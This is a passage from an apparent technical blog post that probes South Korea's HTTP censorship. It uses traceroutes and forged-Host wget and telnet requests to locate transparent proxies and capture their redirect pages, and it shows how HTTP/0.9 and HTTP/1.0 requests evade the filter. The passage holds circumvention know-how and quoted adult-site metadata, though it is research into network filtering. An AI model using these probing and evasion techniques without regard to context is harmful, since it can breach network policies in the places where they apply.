Content-Type: text/html; charset=UTF-8
Content-Length: 1561
Date: Fri, 01 Oct 2016 00:00:00 GMT

&lt;!DOCTYPE html&gt;
&lt;html lang=en&gt;
&lt;meta charset=utf-8&gt;
&lt;meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"&gt;
&lt;title&gt;Error 404 (Not Found)!!1&lt;/title&gt;
&lt;style&gt;
    *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* &gt; body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px}
&lt;/style&gt;
&lt;a href=//www.google.com/&gt;&lt;span id=logo aria-label=Google&gt;&lt;/span&gt;&lt;/a&gt;
&lt;p&gt;&lt;b&gt;404.&lt;/b&gt;&lt;ins&gt;That's an error.&lt;/ins&gt;
&lt;p&gt;The requested URL &lt;code&gt;/&lt;/code&gt; was not found on this server.  &lt;ins&gt;That's all we know.&lt;/ins&gt;
Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>But asking <code>www.xhamster.com</code> on a foreign server will result a 302 redirect to <code>www.warning.or.kr</code>:</p>
<pre><code>user@kali:~$ wget -O- --header="Host: www.xhamster.com" http://www.google.com/
--2016-10-01XX:XX:XX--  http://www.google.com/
Resolving www.google.com (www.google.com)... 64.233.188.94, 2404:6800:4005:800::2003
Connecting to www.google.com (www.google.com)|64.233.188.94|:80... connected.
HTTP request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 XX:XX:XX--  http://www.warning.or.kr/
Resolving www.warning.or.kr (www.warning.or.kr)... ^C
user@kali:~$
</code></pre>
<p><strong>From this, we can assume the filtering system only targets HTTP connections from international links.</strong></p>
<p>Let's do a traceroute and a TCPtraceroute to find out what is happening.</p>
<p>Using SKT connections, UDP traceroute to <code>www.xhamster.com</code>:</p>
<pre><code>user@kali:~$ traceroute www.xhamster.com    
traceroute to www.xhamster.com (88.208.29.24), 30 hops max, 60 byte packets
 1  100.114.55.252 (100.114.55.252)  2.803 ms  3.910 ms  4.871 ms
 2  100.114.27.169 (100.114.27.169)  4.863 ms  5.679 ms  6.116 ms
 3  1.255.24.48 (1.255.24.48)  6.121 ms  6.611 ms  7.979 ms
 4  61.98.54.109 (61.98.54.109)  8.227 ms  8.713 ms  8.709 ms
 5  58.229.4.32 (58.229.4.32)  9.056 ms 58.229.4.12 (58.229.4.12)  15.861 ms  15.868 ms
 6  118.221.7.34 (118.221.7.34)  13.865 ms  6.821 ms 1.255.26.242 (1.255.26.242)  7.892 ms
 7  58.229.14.9 (58.229.14.9)  164.852 ms  162.677 ms  164.854 ms
 8  iptp.as41095.any2ix.coresite.com (206.72.210.118)  159.382 ms  159.961 ms  165.059 ms
 9  be2.r0.r328.nkf.ams.nl.iptp.net (91.194.117.128)  326.743 ms  328.153 ms  327.627 ms
10  be101.r0.r328.nkf.ams.nl.iptp.net (176.56.179.130)  324.799 ms be100.r0.r328.nkf.ams.nl.iptp.net (176.56.179.128)  328.517 ms be101.r0.r328.nkf.ams.nl.iptp.net (176.56.179.130)  325.047 ms
11  * * *
12  * * *
13  * * *
[...]
user@kali:~$
</code></pre>
<p>Now doing a TCPtraceroute to <code>www.xhamster.com</code> on port 80 shows something fishy:</p>
<pre><code>user@kali:~$ tcptraceroute www.xhamster.com 80
Running:
    traceroute -T -O info -p 80 www.xhamster.com 
traceroute to www.xhamster.com (88.208.29.24), 30 hops max, 60 byte packets
 1  100.114.55.252 (100.114.55.252)  5.047 ms  5.730 ms  6.041 ms
 2  100.114.27.169 (100.114.27.169)  6.050 ms  6.047 ms  8.086 ms
 3  1.255.24.48 (1.255.24.48)  8.099 ms  8.097 ms  8.092 ms
 4  61.98.54.109 (61.98.54.109)  8.090 ms  8.086 ms  8.082 ms
 5  58.229.4.12 (58.229.4.12)  8.079 ms 58.229.4.20 (58.229.4.20)  8.698 ms 58.229.4.12 (58.229.4.12)  14.548 ms
 6  118.221.7.46 (118.221.7.46)  9.524 ms 118.221.7.26 (118.221.7.26)  7.158 ms 1.255.26.242 (1.255.26.242)  5.676 ms
 7  39.115.132.234 (39.115.132.234)  6.989 ms  5.656 ms  6.988 ms
 8  * * *
 9  * * *
10  192.168.112.1 (192.168.112.1)  13.741 ms  14.491 ms  16.793 ms
11  39.115.132.233 (39.115.132.233)  6.942 ms  6.935 ms  5.209 ms
12  58.229.14.9 (58.229.14.9)  312.169 ms  312.143 ms  312.145 ms
13  iptp.as41095.any2ix.coresite.com (206.72.210.118)  312.111 ms  307.172 ms  309.766 ms
14  be2.r0.r328.nkf.ams.nl.iptp.net (91.194.117.128)  337.794 ms  337.775 ms  337.779 ms
15  be100.r0.r328.nkf.ams.nl.iptp.net (176.56.179.128)  337.777 ms  337.775 ms be101.r0.r328.nkf.ams.nl.iptp.net (176.56.179.130)  329.002 ms
16  88.208.29.24 (88.208.29.24) &lt;syn,ack&gt;  317.332 ms  312.113 ms  312.082 ms
user@kali:~$
</code></pre>
<p>The hop number 10 shows a RCF1918 IP (<code>192.168.112.1</code>) only when doing a traceroute using TCP.</p>
<p>Let's target another website (<code>www.ovh.com</code>, a big European ISP):</p>
<pre><code>user@kali:~$ tcptraceroute www.ovh.com 80
Running:
    traceroute -T -O info -p 80 www.ovh.com 
traceroute to www.ovh.com (198.27.92.1), 30 hops max, 60 byte packets
 1  100.114.55.252 (100.114.55.252)  1.750 ms  1.996 ms  2.272 ms
 2  100.114.27.169 (100.114.27.169)  3.064 ms  3.070 ms  3.067 ms
 3  1.255.24.48 (1.255.24.48)  12.399 ms  13.106 ms  13.552 ms
 4  61.98.54.109 (61.98.54.109)  4.066 ms  4.321 ms  4.568 ms
 5  58.229.4.8 (58.229.4.8)  6.992 ms  6.999 ms 58.229.4.20 (58.229.4.20)  5.160 ms
 6  1.255.26.254 (1.255.26.254)  6.987 ms 118.221.7.42 (118.221.7.42)  5.064 ms 118.221.7.70 (118.221.7.70)  7.499 ms
 7  39.115.132.238 (39.115.132.238)  7.452 ms  7.457 ms  7.454 ms
 8  * * *
 9  * * *
10  192.168.112.1 (192.168.112.1)  7.414 ms 192.168.132.1 (192.168.132.1)  7.410 ms  7.407 ms
11  39.115.132.237 (39.115.132.237)  7.843 ms  7.824 ms  6.593 ms
12  39.115.132.90 (39.115.132.90)  60.029 ms 210.180.97.9 (210.180.97.9)  58.820 ms  59.904 ms
13  * * *
14  be1-1170.sbg-g1-a9.fr.eu (37.187.232.86)  308.407 ms  308.406 ms  308.404 ms
15  * po99-1123.mil-5-6k.it.eu (91.121.131.149)  308.365 ms po97-1122.mil-5-6k.it.eu (91.121.131.147)  308.171 ms
16  www.ovh.com (198.27.92.1) &lt;syn,ack&gt;  308.370 ms *  308.316 ms
user@kali:~$
</code></pre>
<p><code>192.168.112.1</code> is present (but it's NOT present if we do ICMP/UDP traceroutes).</p>
<p>Another TCPtraceroute will show a suspicious <code>192.168.132.1</code> in hop 10 (in a different date):</p>
<pre><code>user@kali:~$ tcptraceroute www.ovh.com 80
    Running:
    traceroute -T -O info -p 80 www.ovh.com 
traceroute to www.ovh.com (198.27.92.1), 30 hops max, 60 byte packets
 1  100.114.55.252 (100.114.55.252)  1.611 ms  2.138 ms  2.676 ms
 2  100.114.27.169 (100.114.27.169)  2.690 ms  2.677 ms  2.674 ms
 3  1.255.24.48 (1.255.24.48)  2.833 ms  3.128 ms  3.419 ms
 4  61.98.54.109 (61.98.54.109)  3.427 ms  3.420 ms  3.414 ms
 5  58.229.4.20 (58.229.4.20)  3.982 ms 58.229.4.16 (58.229.4.16)  5.237 ms  5.247 ms
 6  118.221.7.70 (118.221.7.70)  5.666 ms  6.473 ms  4.136 ms
 7  39.115.132.238 (39.115.132.238)  5.232 ms  5.449 ms  5.450 ms
 8  * * *
 9  * * *
10  192.168.132.1 (192.168.132.1)  5.971 ms  5.373 ms  4.869 ms
11  39.115.132.237 (39.115.132.237)  7.897 ms 39.115.132.233 (39.115.132.233)  5.352 ms 39.115.132.237 (39.115.132.237)  7.870 ms
12  39.115.132.90 (39.115.132.90)  60.661 ms  59.833 ms  59.790 ms
13  * * *
14  be1-1170.sbg-g1-a9.fr.eu (37.187.232.86)  307.206 ms  307.098 ms  308.245 ms
15  * * *
16  www.ovh.com (198.27.92.1) &lt;syn,ack&gt;  306.193 ms  306.008 ms  307.063 ms
</code></pre>
<p>With KT, sometimes, a strange hop will appear when doing a TCP traceroute, as shown below (hop 11):</p>
<pre><code>user@kali:~$ tcptraceroute 216.58.197.227
    Running:
    traceroute -T -O info -p 80 216.58.197.227
traceroute to 216.58.197.227 (216.58.197.227), 30 hops max, 60 byte packets
 1  gateway (172.30.1.254)  1.196 ms  1.197 ms  1.225 ms
 2  115.21.98.254 (115.21.98.254)  5.727 ms  7.883 ms  7.901 ms
 3  119.196.200.157 (119.196.200.157)  5.700 ms  7.305 ms  8.944 ms
 4  112.190.16.37 (112.190.16.37)  5.655 ms  6.549 ms  10.649 ms
 5  112.190.2.93 (112.190.2.93)  18.086 ms  18.105 ms  18.104 ms
 6  112.174.125.137 (112.174.125.137)  16.063 ms  3.217 ms  3.205 ms
 7  112.174.48.202 (112.174.48.202)  2.385 ms  4.605 ms  4.584 ms
 8  112.174.31.154 (112.174.31.154)  4.540 ms  6.182 ms 112.174.31.146 (112.174.31.146)  7.205 ms
 9  * * *
10  * * *
11  192.168.144.1 (192.168.144.1)  2.568 ms  2.587 ms  2.577 ms
12  112.174.31.189 (112.174.31.189)  3.301 ms 112.174.31.177 (112.174.31.177)  5.663 ms 112.174.31.25 (112.174.31.25)  15.977 ms
13  112.174.84.186 (112.174.84.186)  15.926 ms 112.174.84.58 (112.174.84.58)  15.946 ms 112.174.83.58 (112.174.83.58)  15.937 ms
14  72.14.194.194 (72.14.194.194)  46.967 ms  47.023 ms  52.190 ms
15  209.85.142.95 (209.85.142.95)  48.218 ms 216.239.54.1 (216.239.54.1)  48.857 ms 209.85.142.95 (209.85.142.95)  48.220 ms
16  72.14.237.223 (72.14.237.223)  38.998 ms 72.14.238.99 (72.14.238.99)  41.599 ms  45.584 ms
17  nrt13s49-in-f3.1e100.net (216.58.197.227) &lt;syn,ack&gt;  41.301 ms  41.277 ms  33.900 ms
</code></pre>
<p>And the UDP traceroute:</p>
<pre><code>user@kali:~$ traceroute 216.58.197.227
traceroute to 216.58.197.227 (216.58.197.227), 30 hops max, 60 byte packets
 1  gateway (172.30.1.254)  2.500 ms  2.563 ms  4.136 ms
 2  115.21.98.254 (115.21.98.254)  7.673 ms  9.465 ms  9.461 ms
 3  119.196.200.157 (119.196.200.157)  8.254 ms  9.429 ms  10.889 ms
 4  112.190.16.37 (112.190.16.37)  7.591 ms  8.242 ms  8.762 ms
 5  112.190.2.93 (112.190.2.93)  12.834 ms  12.849 ms  12.847 ms
 6  112.174.125.137 (112.174.125.137)  14.237 ms  4.237 ms  3.832 ms
 7  112.174.48.202 (112.174.48.202)  2.976 ms  2.971 ms  2.968 ms
 8  112.174.84.22 (112.174.84.22)  2.921 ms 112.174.84.58 (112.174.84.58)  3.792 ms  3.791 ms
 9  72.14.194.194 (72.14.194.194)  34.562 ms  35.805 ms  35.211 ms
10  209.85.142.95 (209.85.142.95)  36.480 ms 216.239.54.1 (216.239.54.1)  35.262 ms 209.85.142.95 (209.85.142.95)  37.717 ms
11  72.14.237.223 (72.14.237.223)  35.233 ms  35.211 ms  35.202 ms
12  nrt13s49-in-f227.1e100.net (216.58.197.227)  38.470 ms  34.080 ms  39.364 ms
</code></pre>
<p>If you read the TCPtraceroutes, you will see a hop located in the edge of the Korean network (hop10 or 11): <code>192.168.112.1</code> or <code>192.168.132.1</code> or <code>192.168.144.1</code>. This router doesn't appear when doing UDP or ICMP traceroutes.</p>
<p>When doing tcptraceroute to exotic remote ports (<code>61721</code>), this hop doesn't appear. In fact, this hop appears only for a list of specific ports (<code>80</code>, <code>8080</code>, <code>8000</code>, <code>2222</code>, ...) but the censorship seems to affect every TCP connection.</p>
<p>Note: This hop appears not every time when using KT or LG U+ connection (but they are still censoring Internet connection). It means that the 2 ISPs are using different methods to censor websites or the censorship system has different network behaviors.</p>
<p>You can test filtering by yourself with these <code>wget</code> commands, by contacting a remote server and asking to serve HTTP webpages:</p>
<p>Connecting to <code>ftp.de.freebsd.org</code> and asking HTTP on a FTP server will result errors from the FTP server (which is normal):</p>
<pre><code>user@kali:~$ wget -O- http://ftp.de.freebsd.org:21/ 
--2016-10-01 XX:XX:XX--  http://ftp.de.freebsd.org:21/
Resolving ftp.de.freebsd.org (ftp.de.freebsd.org)... 213.83.42.56, 2a02:2e0:11:a00::10
Connecting to ftp.de.freebsd.org (ftp.de.freebsd.org)|213.83.42.56|:21... connected.
HTTP request sent, awaiting response... 200 No headers, assuming HTTP/0.9
Length: unspecified
Saving to: 'STDOUT'

-                                                        [&lt;=&gt;                                                                                                                   ]       0  --.-KB/s               220 FTP Server ready.
500 GET not understood
500 USER-AGENT: not understood
500 ACCEPT: not understood
500 ACCEPT-ENCODING: not understood
500 HOST: not understood
500 CONNECTION: not understood
500 Invalid command: try being more creative
^C
user@kali:~$
</code></pre>
<p>Now connecting to the same FTP server and providing a <code>Host: www.xhamster.com</code> with the HTTP request will send us a HTTP reply by the censorship system:</p>
<pre><code>user@kali:~$ wget --header="Host: www.xhamster.com" -O- http://ftp.de.freebsd.org:21/
--2016-10-01 XX:XX:XX--  http://ftp.de.freebsd.org:21/
Resolving ftp.de.freebsd.org (ftp.de.freebsd.org)... 213.83.42.56, 2a02:2e0:11:a00::10
Connecting to ftp.de.freebsd.org (ftp.de.freebsd.org)|213.83.42.56|:21... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'

-                                                        [&lt;=&gt;                                                                                                                   ]       0  --.-KB/s               &lt;html&gt;&lt;script&gt;
var arg = "http://warning.or.kr";
var str = new Array();
str = arg.split("&amp;", 1);
var a = new Array();
a = str[0].split("=");
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.naver.com");}
else if(b == 20){location.replace("http://www.daum.net");}
else if(b == 30){location.replace("http://www.paran.com");}
else{ c = a[0].split("?");
location.replace(c[0]);}
&lt;/script&gt;&lt;/html&gt;
-                                                        [ &lt;=&gt;                                                                                                                  ]     437  --.-KB/s    in 0s

2016-10-01 XX:XX:XX (13.5 MB/s) - written to stdout [437]

user@kali:~$
</code></pre>
<p>Same with SSH:</p>
<p>We see the SSH banner on ftp.de.freebsd.org using <code>telnet</code>:</p>
<pre><code>user@kali:~$ telnet ftp.de.freebsd.org 22
Trying 213.83.42.56...
Connected to ftp.plusline.de.
Escape character is '^]'.
SSH-2.0-OpenSSH_5.3
^]
telnet&gt; q
Connection closed.
user@kali:~$
</code></pre>
<p>Now sending an http request to the sshd server of <code>ftp.de.freebsd.org</code> with a censored <code>Host</code> will trigger the censorship:</p>
<pre><code>user@kali:~$  wget --header="Host: www.xhamster.com" -O- http://ftp.de.freebsd.org:22/
--2016-10-01 XX:XX:XX--  http://ftp.de.freebsd.org:22/
Resolving ftp.de.freebsd.org (ftp.de.freebsd.org)... 213.83.42.56, 2a02:2e0:11:a00::10
Connecting to ftp.de.freebsd.org (ftp.de.freebsd.org)|213.83.42.56|:22... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'

-                                                        [&lt;=&gt;                                                                                                                   ]       0  --.-KB/s               &lt;html&gt;&lt;script&gt;
var arg = "http://warning.or.kr";
var str = new Array();
str = arg.split("&amp;", 1);
var a = new Array();
a = str[0].split("=");
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.naver.com");}
else if(b == 20){location.replace("http://www.daum.net");}
else if(b == 30){location.replace("http://www.paran.com");}
else{ c = a[0].split("?");
location.replace(c[0]);}
&lt;/script&gt;&lt;/html&gt;
-                                                        [ &lt;=&gt;                                                                                                                  ]     437  --.-KB/s    in 0s

2016-10-01 XX:XX:XX (37.8 MB/s) - written to stdout [437]
</code></pre>
<p><code>FTP.DE.FREEBSD.ORG</code> has other interesting ports, like rsync:</p>
<p>Sending http requests to open TCP ports (<code>873/tcp</code> [rsync] and <code>5666/tcp</code>) on <code>ftp.de.freebsd.org</code> with a censored Host will trigger the censorship too:</p>
<pre><code>user@kali:~$ wget --header="Host: www.xhamster.com" -O- http://ftp.de.freebsd.org:873/ 
--2016-10-01 XX:XX:XX--  http://ftp.de.freebsd.org:873/
Resolving ftp.de.freebsd.org (ftp.de.freebsd.org)... 213.83.42.56, 2a02:2e0:11:a00::10
Connecting to ftp.de.freebsd.org (ftp.de.freebsd.org)|213.83.42.56|:873... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'

-                                                        [&lt;=&gt;                                                                                                                   ]       0  --.-KB/s               &lt;html&gt;&lt;script&gt;
var arg = "http://warning.or.kr";
var str = new Array();
str = arg.split("&amp;", 1);
var a = new Array();
a = str[0].split("=");
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.naver.com");}
else if(b == 20){location.replace("http://www.daum.net");}
else if(b == 30){location.replace("http://www.paran.com");}
else{ c = a[0].split("?");
location.replace(c[0]);}
&lt;/script&gt;&lt;/html&gt;
-                                                        [ &lt;=&gt;                                                                                                                  ]     437  --.-KB/s    in 0s

2016-10-01 XX:XX:XX (43.1 MB/s) - written to stdout [437]


user@kali:~$ wget --header="Host: www.xhamster.com" -O- http://ftp.de.freebsd.org:5666/
--2016-10-01 XX:XX:XX--  http://ftp.de.freebsd.org:5666/
Resolving ftp.de.freebsd.org (ftp.de.freebsd.org)... 213.83.42.56, 2a02:2e0:11:a00::10
Connecting to ftp.de.freebsd.org (ftp.de.freebsd.org)|213.83.42.56|:5666... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'

-                                                        [&lt;=&gt;                                                                                                                   ]       0  --.-KB/s               &lt;html&gt;&lt;script&gt;
var arg = "http://warning.or.kr";
var str = new Array();
str = arg.split("&amp;", 1);
var a = new Array();
a = str[0].split("=");
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.naver.com");}
else if(b == 20){location.replace("http://www.daum.net");}
else if(b == 30){location.replace("http://www.paran.com");}
else{ c = a[0].split("?");
location.replace(c[0]);}
&lt;/script&gt;&lt;/html&gt;
-                                                        [ &lt;=&gt;                                                                                                                  ]     437  --.-KB/s    in 0s

2016-10-01 XX:XX:XX (35.3 MB/s) - written to stdout [437]

user@kali:~$
</code></pre>
<p><strong>Analysis: the censorship system is a transparent proxy located in hop 10 or 11, located in the edge of Korean network to listen to international links.</strong></p>
<p><strong>The censorship system only targets HTTP identified connections within ALL TCP connections passing in the international links of South Korea.</strong></p>
<p><strong>The local traffic inside the country is not filtered.</strong></p>
<p><a id="inner-work-of-the-censorship-system"></a></p>
<h2>3. Inner work of the censorship system</h2>
<p><a id="different-answers-provided-by-censorship-systems"></a></p>
<h3>3.1 Different answers provided by the censorship system</h3>
<p>In the previous section, I illustrated how the censorship system analyses all the HTTP packets looking for the host of the remote website. You can contact a legit remote HTTP server and change the Host Field to trigger the censorship as long as you cross international fiber optic.</p>
<p>The censorship system is working with different proxy clusters, providing different answers. That is, depending on the transparent proxy you are using, you get different behaviors. You have no control about the transparent proxies you are using.</p>
<p>In this section, I would like to introduce different behaviors of the censorship that you will face when you visit a banned website in the SKT, KT and LG networks. </p>
<p><a id="direct-html-as-an-answer"></a></p>
<h4>1) Direct HTML as an answer</h4>
<p>This answer seems to be used for a cache proxy.</p>
<p>When trying to contact a website for the first time, if the remote transparent proxy doesn't reply yet to a browser, it will reply this webpage:</p>
<pre><code>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/strict.dtd"&gt;
&lt;!-- &lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd"&gt; --&gt;
&lt;HTML&gt;
&lt;HEAD&gt;
&lt;META HTTP-EQUIV="Refresh" CONTENT="0.1"&gt;
&lt;META HTTP-EQUIV="Pragma" CONTENT="no-cache"&gt;
&lt;META HTTP-EQUIV="Expires" CONTENT="-1"&gt;
&lt;TITLE&gt;&lt;/TITLE&gt;
&lt;/HEAD&gt;
&lt;BODY&gt;&lt;P&gt;&lt;/BODY&gt;
&lt;/HTML&gt;
</code></pre>
<p>Your browser will ask a refresh within 0.1 second of the URI, which will provide a new HTTP answer (see the next two answers):</p>
<p><a id="direct-html-as-an-answer-system-a"></a></p>
<h4>2) Direct HTML as an answer (censorship system A)</h4>
<p>Contacting a Google server at <code>216.58.214.131</code> (not hosted in South Korea), asking for a censored website:</p>
<pre><code>user@kali:~$ wget -O- --header="Host: www.xhamster.com" http://www.google.ru/
--2016-10-01XX:XX:XX--  http://www.google.ru/
Resolving www.google.ru (www.google.ru)... 216.58.214.131, 2a00:1450:4001:813::2003
Connecting to www.google.ru (www.google.ru)|216.58.214.131|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'

&lt;html&gt;&lt;script&gt;
var arg = "http://www.warning.or.kr"
var str = new Array();
str = arg.split("&amp;", 1);
var a = new Array();
a = str[0].split("=")
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.google.com");}
else{
c = a[0].split("?");
location.replace(c[0]);
}
&lt;/script&gt;&lt;/html&gt;

2016-10-01XX:XX:XX (12.5 MB/s) - written to stdout [330]
user@kali:~$
</code></pre>
<p>The answer is:</p>
<pre><code>HTTP/1.0 200 OK
Content-type: text/html

&lt;html&gt;&lt;script&gt;
var arg = "http://www.warning.or.kr"
var str = new Array();
str = arg.split("&amp;", 1);
var a = new Array();
a = str[0].split("=")
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.google.com");}
else{
c = a[0].split("?");
location.replace(c[0]);
    }
&lt;/script&gt;&lt;/html&gt;
</code></pre>
<p>The JavaScript code may differ depending on the used ISP (i.e.: KT):</p>
<pre><code>HTTP/1.0 200 OK
Content-type: text/html

&lt;html&gt;&lt;script&gt;
var arg = "http://warning.or.kr";
var str = new Array();
str = arg.split("&amp;", 1);
var a = new Array();
a = str[0].split("=");
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.naver.com");}
else if(b == 20){location.replace("http://www.daum.net");}
else if(b == 30){location.replace("http://www.paran.com");}
else{ c = a[0].split("?");
location.replace(c[0]);}
&lt;/script&gt;&lt;/html&gt;
</code></pre>
<p>You will note the censorship system is banning my request even if I try to contact a remote server from Google that doesn't host a censored website.</p>
<p><a id="direct-html-as-an-answer-system-b"></a></p>
<h4>3) 302 Temporary redirect (censorship system B)</h4>
<p>By contacting Google servers located in US and asking a banned vhost, the webpage will show a 302 redirection to <code>http://www.warning.or.kr/</code>:</p>
<p>This one is a 302 temporary redirect:</p>
<pre><code>user@kali:~$ wget -O- --header="Host: www.xhamster.com" http://www.google.ru/
--2016-10-01XX:XX:XX--  http://www.google.ru/
Resolving www.google.ru (www.google.ru)... 216.58.214.131, 2a00:1450:4001:813::2003
Connecting to www.google.ru (www.google.ru)|216.58.214.131|:80... connected.
HTTP request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 XX:XX:XX--  http://www.warning.or.kr/
Resolving www.warning.or.kr (www.warning.or.kr)... 121.189.57.82
Connecting to www.warning.or.kr (www.warning.or.kr)|121.189.57.82|:80...connected.
HTTP request sent, awaiting response... 200 OK
Length: 10590 (10K) [text/html]
Saving to: 'STDOUT'

&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&gt;
&lt;meta name="kcsc" content="blocking" /&gt;
&lt;title&gt;www.warning.or.kr&lt;/title&gt;
&lt;style type="text/css"&gt;
[...]
</code></pre>
<p>The answer is:</p>
<pre><code>HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
</code></pre>
<p><a id="brief-analysis"></a></p>
<h3>3.2 Brief analysis</h3>
<p>In short, load-balanced transparent proxies are located somewhere in South Korea and are analyzing the <code>Host</code> header in the HTTP request (or in the URIs if you are using HTTP/0.9 or HTTP/1.0 - we will see that in the next section). These are:</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; 1/ If the vhost is not blacklisted, forwarding the request to the remote server.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;OR</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;2/ If the vhost is blacklisted,</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i) Blocking and providing a HTML webpage asking for a refresh so that a cached webpage will be created and provided to the client.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AND</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ii) Blocking and providing a 302 HTTP response to the client. The client will follow the 302 response to http://www.warning.or.kr/.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OR</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iii) Blocking and providing a webpage witha JavaScript redirection to http://www.warning.or.kr/. The client will be directed to the http://www.warning.or.kr/ webpage.</p>
<p>This will open discussion about HTTP/2, HTTPS, and exotic protocol (websockets). Let's not forget IPv6 as a network layer (this is important) but before, we will speak about the future: HTTP/0.9 and HTTP/1.0.</p>
<p>OK, let's go browsing censored websites, with more potential options (HTTPS, HTTP/* support...) that will allow us to determine how the censorship works.</p>
<p><a id="from-http-0.9-to-http-1.1"></a></p>
<h3>3.3 Let's debug the censorship system - From HTTP/0.9 to HTTP/1.1</h3>
<p>Forging HTTP request manually will show us what is happening in the application layer. No more use of fake HTTP Google servers. Let's try to contact remote censored websites!</p>
<p><a id="http-0.9"></a></p>
<h4>3.3.1 HTTP/0.9</h4>
<p>Firstly, playing with HTTP/0.9:</p>
<pre><code>user@kali:~$ telnet xhamster.com 80
Trying 88.208.18.30...
Connected to xhamster.com.
Escape character is '^]'.
GET /

&lt;!doctype html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
&lt;meta charset="utf-8"&gt;&lt;meta name="referrer" content="always" /&gt;
&lt;title&gt;Free Porn Videos &amp; HD Sex Tube Movies at xHamster&lt;/title&gt;
&lt;meta name="description" content="Watch and download all Porn Videos at xHamster for Free, including HD. Browse sex photos, date girls to fuck &amp;amp; have fun in Live Sex Chat only at xHamster!"&gt;
&lt;meta name="RATING" content="RTA-5042-1996-1400-1577-RTA"&gt;
&lt;meta name="viewport" content=""&gt;
&lt;meta http-equiv="X-UA-Compatible" content="IE=edge"&gt;
&lt;meta name="yandex-tableau-widget" content="logo=http://static-ec.xhcdn.com/images/xYa.png, color=#f2f2f2" /&gt;
&lt;link rel="alternate" href="http://xhamster.com/" hreflang="x-default"&gt;
&lt;link rel="alternate" href="http://xhamster.com/" hreflang="en"&gt;
&lt;link rel="alternate" href="http://ru.xhamster.com/" hreflang="ru"&gt;
&lt;link rel="alternate" href="http://de.xhamster.com/" hreflang="de"&gt;
[...]
</code></pre>
<p>Success! The banned website can now be visited using the bleeding-edge HTTP/0.9 technology.</p>
<p>It's useless as visiting websites using only HTTP/0.9 will result in a lot of broken resources (no vhost support, good luck).</p>
<p><a id="http-1.0"></a></p>
<h4>3.3.2 HTTP/1.0</h4>
<p>Ok let's play with HTTP/1.0 where the <code>Host</code> header is still not mandatory if we read the <a href="https://tools.ietf.org/html/rfc1945">RFC1945 - Hypertext Transfer Protocol -- HTTP/1.0</a>:</p>
<p>With SKT and KT, you will receive the uncensored webpage:</p>
<pre><code>user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0

HTTP/1.1 200 OK
Server: nginx/1.10.1
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.5
Set-Cookie: stats_id=000000; expires=Wed, XX-Oct-2016 00:00:00 GMT; Max-Age=604800; path=/; domain=.xhamster.com
Srv: m43
Set-Cookie: first_visit=0000000000; expires=Thu, XX-Oct-2017 00:00:00 GMT; Max-Age=31536000; path=/; domain=.xhamster.com
Set-Cookie: prid=--; expires=Thu, 01-Oct-2016 00:00:00 GMT; Max-Age=86400; path=/; domain=.xhamster.com
Set-Cookie: prs=--; expires=Thu, 01-Oct-2016 00:00:00 GMT; Max-Age=86400; path=/; domain=.xhamster.com

&lt;!doctype html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
